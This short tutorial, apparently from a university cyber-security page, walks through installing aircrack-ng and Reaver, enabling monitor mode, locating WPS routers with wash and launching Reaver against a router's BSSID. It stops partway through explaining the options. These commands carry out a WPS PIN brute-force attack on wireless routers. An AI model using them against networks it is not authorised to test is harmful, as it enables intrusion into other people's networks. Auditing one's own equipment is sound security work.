WPS – How to install and use Reaver to detect the WPS on your home router

University of South Wales: Cyber University of the year: Two years running: 2019 & 2020

WPS was supposed to make security easier, alas it destroyed much of your security.  Install Reaver to see what I mean.

Step 1 – Download Reaver

sudo apt-get install aircrack-ng reaver


Step 2 – Put your wireless card into “monitor mode”

sudo airmon-ng

Check wireless cards are detected.  Are your cards detected?

sudo airmon-ng start wlan0


Step 3 – Find the Unique ID of your Router

airodump-ng mon0

Control + C – to stop airodump and be able to cut and paste the Basestation ID

Open a second root terminal


Step 4 – Use Wash to find WPS Routers

wash -i mon0

note if you get fcs errors (as shown)

fcs error

wash-i mon0 –ignore-fcs


Step 5 – Start Reaver running against your Routers’ ID

Cut and paste the Basestation MAC from your first terminal

reaver -i mon0 -b AA:BB:CC:65:FF:B4 -vv

This means:

reaver -i mon0 (monitoring interface) …

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